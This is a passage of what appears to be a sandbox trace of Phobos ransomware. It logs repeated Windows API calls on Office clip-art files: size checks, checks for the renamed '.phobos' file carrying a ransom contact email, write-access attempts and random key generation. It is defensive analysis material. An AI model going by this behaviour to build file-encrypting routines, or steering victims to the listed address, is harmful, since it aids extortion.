(hObject=0x564) returned 1 [0153.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02386_.wmf")) returned 0x220 [0153.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02386_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02386_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.105] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.106] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3204) returned 1 [0153.106] CloseHandle (hObject=0x564) returned 1 [0153.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf")) returned 0x220 [0153.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.106] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.107] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2860) returned 1 [0153.107] CloseHandle (hObject=0x564) returned 1 [0153.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf")) returned 0x220 [0153.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.107] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.116] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3684) returned 1 [0153.117] CloseHandle (hObject=0x564) returned 1 [0153.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf")) returned 0x220 [0153.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.118] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.119] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7832) returned 1 [0153.119] CloseHandle (hObject=0x564) returned 1 [0153.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02398_.wmf")) returned 0x220 [0153.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02398_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02398_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.120] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.121] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3364) returned 1 [0153.121] CloseHandle (hObject=0x564) returned 1 [0153.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf")) returned 0x220 [0153.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.121] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.122] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8480) returned 1 [0153.122] CloseHandle (hObject=0x528) returned 1 [0153.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf")) returned 0x220 [0153.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.124] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.125] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=20608) returned 1 [0153.125] CloseHandle (hObject=0x57c) returned 1 [0153.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf")) returned 0x220 [0153.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.125] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.250] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8136) returned 1 [0153.250] CloseHandle (hObject=0x57c) returned 1 [0153.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02407_.wmf")) returned 0x220 [0153.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02407_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02407_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.255] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.266] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3440) returned 1 [0153.266] CloseHandle (hObject=0x57c) returned 1 [0153.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf")) returned 0x220 [0153.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.269] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.271] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15708) returned 1 [0153.272] CloseHandle (hObject=0x57c) returned 1 [0153.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf")) returned 0x220 [0153.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.272] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.273] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16448) returned 1 [0153.273] CloseHandle (hObject=0x57c) returned 1 [0153.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf")) returned 0x220 [0153.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.273] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.275] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19736) returned 1 [0153.275] CloseHandle (hObject=0x57c) returned 1 [0153.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf")) returned 0x220 [0153.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.279] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.280] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=23204) returned 1 [0153.280] CloseHandle (hObject=0x57c) returned 1 [0153.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf")) returned 0x220 [0153.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.282] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.283] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16676) returned 1 [0153.283] CloseHandle (hObject=0x57c) returned 1 [0153.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf")) returned 0x220 [0153.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.286] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.288] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=36264) returned 1 [0153.288] CloseHandle (hObject=0x57c) returned 1 [0153.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00542_.wmf")) returned 0x220 [0153.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00542_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00542_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.289] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0153.290] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9904) returned 1 [0153.290] CloseHandle (hObject=0x57c) returned 1 [0153.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf")) returned 0x220 [0153.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf"), 